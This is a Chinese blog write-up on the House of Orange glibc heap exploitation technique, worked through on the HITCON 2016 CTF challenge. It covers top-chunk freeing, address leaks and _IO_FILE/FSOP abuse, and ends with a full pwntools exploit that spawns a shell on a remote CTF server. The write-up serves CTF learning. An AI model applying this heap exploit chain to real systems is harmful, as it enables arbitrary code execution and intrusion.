MENU

House of orange 学习记录

December 18, 2020 • Read: 232 • Pwn

学习前景

最近在参与V&N战队面试的时候,有问到一个问题就是,关于house of orange的利用方法,突然就心虚了。这个方法虽然我早有所耳闻,但是由于各种各样的原因,从来没有做过这个利用方法对应的题目,终于今天可以来试试了。

题目特点

house of orange这道题是hiton-ctf-2016中的一道500分的pwn题,考察的知识也是相当的新颖。
这道题有以下几个特点
1.保护全开(以前拿到题目还会例行公事,看一下保护,现在就默认是保护全开了,不过我觉得这是个不好的习惯)
2.堆溢出,size在0x1000以内
3.无free
4.在一个阶段内只能操作一个chunk,但是由于有堆溢出,其实也就间接的操作了其他chunk。

利用过程

关于这个利用方法的具体信息,我建议各位师傅可以这样来学习,这也是我的学习路线
1.关于利用topchunk来free的部分,查看ctf wiki
2.关于house of orange的部分,关注youtube上angleboy的频道内容,其中有两个视频都是讲这个的,里面对这个的讲解非常完善。毕竟人家是原作者嘛..比起我这种,浑水摸鱼的强多了。

具体利用

第一部分,利用topchunk来free
先来讲解第一部分,也就是利用topchunk来free从而得到堆地址和libc基址。
这个方法利用的就是当topchunk的size不足够申请的时候,malloc函数会重新申请一块区域作为topchunk,并且把当前的topchunk free掉到unsorted bin,所以我们就可以尝试修改topchunk的size,修改到不足够的大小,然后再申请一次比修改的topchunk的size要大的size

但是free的topchunk的size有一些要求(很多地方对这个介绍的很复杂,所以我想简单的来说)
1.不要太小,比如小于0x10(MINSIZE)就不行了
2.topchunk的结束地址(当前地址 + size)要与页基址对齐,一般就是0x1000(结尾三个0)
3.prev_inuse = 1

所以,当我们再次申请大于topchunk size的时候,就会进入unsorted bin,我们就可以leak libc了

那怎么泄露堆地址呢,这个我自己也没怎么搞懂(可能和large bin那部分有关系)。
大概是在申请的size大于large bin size的时候(0x400),就会在堆上放两个堆地址,就是靠近BK的后两个。

所以,当我们有了第二步需要的的必备条件
1.可确定地址的可控地址。(这里泄露了堆地址,满足这个条件)
2.libc基址。

第二步是利用_IO_flush_all_lockp进行攻击
这个函数我在ByteCTF 2019 note_five的那道题中也用到过,到了这里终于可以好好解释一下了。

什么时候会触发这个函数?
当系统发生abort的时候,会利用_IO_flush_all_lockp来看看各个fp指针中还有没有数据没有输出的,如果有,那么就会调用_IO_OVERFLOW。
_IO_OVERFLOW这个函数是调用当前fp指针的vtable中的+0x18地址。

这个函数做了什么?
通过_IO_all_list获取到头指针,然后用fp->_chain来寻找下一个指针,直到0的时候停止。
所以,如果我们可以控制_IO_list_all,并且达成他要求的一些条件,那么我们就可以通过伪造vtable的_IO_OVERFLOW位置(+0x18)的方式来getshell。
不过在libc2.24以上就已经加入了对vtable范围的检测,所以在这里我们的测试环境都是在libc2.23下(ubuntu 16.04)。

具体如何构造和利用?
由于我们现在没有权限直接对_IO_all_list进行写入地址(废话,如果可以直接写入,那么就直接打__malloc_hook不香吗)
但是我们可以用unsorted bin attack在_IO_all_list上写一个main_arena + 88的地址,然后在_IO_flush_all_lockp函数中就会认为这个地址是一个fp指针,并且判定这个指针的条件是否成立,如果成立的话执行_IO_OVERFLOW,当然由于main_arena的内容很难控制,所以我们无法直接修改这上面的内容进行getshell。

所以我们要考虑条件不成立的情况,也就是程序没有再次发生异常(因为上诉中vtable的值不受控,如果vtable的值不正确,就可能会发生异常),程序就会到fp->_chain继续查找下一个指针。调试可以发现fp->_chain正好就是smallbin[4]的位置,对应的存放的smallbin size为0x60,所以我们如果可以修改这个位置为一个可控的地址,那么就可以成功伪造一个下一个fp指针达到getshell的目的。

怎么样才能写入堆地址到smallbin[4]呢?
当你malloc的时候,程序会去看unsorted bin有没有符合的size,这个时候会把unsorted bin拿出来检测,如果大小不合适的话,这时候会先放到small bin中去。
所以如果我们构造一个size为0x60的unsorted bin,然后再free它,那么就可以成功的让他进入smallbin,在那里写入的地址就是这个堆的地址,而这个堆内容被我们提前布置好,就可以成功getshell了。

堆上需要布置哪些东西呢?
我们需要布置的内容有:

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

我们知道if是从左到右依次执行的,如果前面的不符合后面的也不会执行,所以我们可以构造下面两者中任意一个。
1.(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
2.(_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

把vtable的值写入一个可控的位置,并且修改vtable+0x18的位置为想要执行的函数

最后来说说这个流程:
构造后当程序调用到这个位置的fp(前提是前一块没有报错,概率是1/2,因为在main_arena上的fp->_mode的值是不可控的)。
并且判定条件成立,就会去vtable表中执行_IO_OVERFLOW,执行了我们修改的函数。
顺带一提的是,当执行_IO_OVERFLOW的时候,传入的第一个参数就是,这个fp的地址,所以说,如果我们可以修改这个伪造fp的头部位置为/bin/sh,并且伪造vtable中IO_overflow位置为system,那么就可以成功getshell了。
所以我们可以修改我们的可控位置,也就是fp的地址为想要执行的内容,但是一般来说直接修改头部位置,也就是_flags的位置是不太好的,不过由于这里根本没有用到_flags,所以我们可以直接修改。
如果不可以修改_flags的情况,那么就在他后面写一个;sh;,这样的话由于;的隔开,前面后面的语句都会认为是错误的,所以也成功执行了sh。

我们有一个方法可以同时完成以上步骤,就是一次性写好所有的构造数据在堆上,这时候malloc一次和原来的数据大小不一样的size。
这时候的执行步骤的这样的。
1.执行unsorted bin attack,修改BK->fd = main_arena + 88
2.malloc chunk发现unsorted bin中的size和要申请的size大小不匹配,所以把unsorted bin中的数据放到了smallbin中,具体是哪块位置呢?这时候就要看size了,这里构造的size是0x60,所以就会进入到smallbin[4]中,这里对应的内容就是fp->_chain。
3.由于链表被破坏了,所以在之后的检测发生了报错,这个报错就会调用到_IO_flush_all_lockp,而这里就会对_IO_list_all进行遍历,由于1中修改了_IO_list_all为main_arena + 88,这时候就会去看对应数据符不符合要求。
如果这里符合要求,那么就会调用这里vtable的IO_overflow,由于这里的数据我们没有构造过,所以就会发生又一次异常,getshell失败了(1/2)。
如果这里不符合要求,就会去看这里的fp->_chain的位置,正好是我们伪造的smallbin[4]的地方,这时候fp指针指向我们伪造的堆块,堆块的对应内容符合要求,就会去我们伪造的可控的vtable执行_IO_OVERFLOW,而这里被我们伪造成system,并且我们修改这个fp的头部位置为/bin/sh,所以当调用的时候就会把这个作为参数去调用,最后就是执行了system("/bin/sh"),也就成功getshell了。

接下来就是具体构造偏移和内容了,这个最简单的方法还是在调试的时候找。
这里给一个调试的小技巧。

当你不知道一个结构体位置的具体偏移的时候要怎么办?
方法就是,利用set对其中内容进行设置,然后再观察一下位置就可以了。
set (*(struct _IO_FILE_plus *) 0x55858e82f550).vtable = 0x6161616161616161

最后放一下结构,其中vtable的0xd8应该要记住。

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable
IO_jump_t *vtable:
 
void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail
   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

exp写的有点难看,希望不要嫌弃,由于没有看其他人的exp是怎么写的,所以可能不是最优写法。

from pwn import *
from LibcSearcher import *
#context.log_level = "debug"

def choice(idx):
    r.sendlineafter("Your choice : ", str(idx))

def add(size, name="a", orange=1, color=0xDDAA):
    choice(1)
    r.sendlineafter("Length of name :", str(size))
    r.sendafter("Name :", name)
    r.sendlineafter("Price of Orange:", str(orange))
    r.sendlineafter("Color of Orange:", str(color))


def show():
    choice(2)


def edit(name, orange=1, color=0xDDAA):
    choice(3)
    r.sendlineafter("Length of name :", str(len(name)))
    r.sendafter("Name:", name)
    r.sendlineafter("Price of Orange:", str(orange))
    r.sendlineafter("Color of Orange:", str(color))

def pwn():
    #topchunk attack
    add(0x88)
    edit('a' * 0x88 + p64(0x21) + p32(1) + p32(0xDDAA) + p64(0) * 2 + p64(0xf31))
    add(0x1000)

    #leak libc & leak heap
    add(0x3F8, 'a' * 0x8)
    show()
    malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 1640 - 0x10
    log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
    edit('a' * 0x10)
    show()
    r.recvuntil('a' * 0x10)
    heap_addr = u64(r.recvuntil('\n')[:-1].ljust(8, '\x00'))
    log.success("heap_addr: " + hex(heap_addr))

    libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
    libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
    log.success("libc_base: " + hex(libc_base))
    IO_list_all_addr = libc_base + libc.dump('_IO_list_all')
    log.success("IO_list_all_addr:  " + hex(IO_list_all_addr))
    system_addr = libc_base + libc.dump('system')

    #fsop
    fakeheap = heap_addr + 0x420
    vtable = fakeheap + 0x28
    edit('a' * 0x3F8 + p64(0x21) + p32(0x1) + p32(0xDDAA) + p64(0) + '/bin/sh\x00' +
         p64(0x61) + p64(0) + p64(IO_list_all_addr - 0x10) +
         p64(0) + p64(1) + p64(0) * 2 + p64(system_addr) + p64(0) * 0x12 + p64(vtable))
    #gdb.attach(r, "b _IO_flush_all_lockp")

    #getshell
    choice(1)
    #r.sendlineafter("Length of name :", str(0x88))
    r.interactive()

while True:
    try:
        #r = process('./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682')
        r = remote('node3.buuoj.cn', 26324)
        pwn()
    except:
        pass

在libc 2.24的利用

在libc2.24及以上增加了对vtable的检测,所以不能直接修改vtable的内容,需要间接利用。
<TODO>

参考链接:
[1] [原创]PWN堆利用:House Of Orange https://bbs.pediy.com/thread-263565.htm
[2] Angelboy - YouTube https://www.youtube.com/channel/UC_PU5Tk6AkDnhQgl5gARObA
[3] CTF Wiki - House of Orange https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_orange-zh/

Last Modified: December 23, 2020
Archives QR Code Tip
QR Code for this page
Tipping QR Code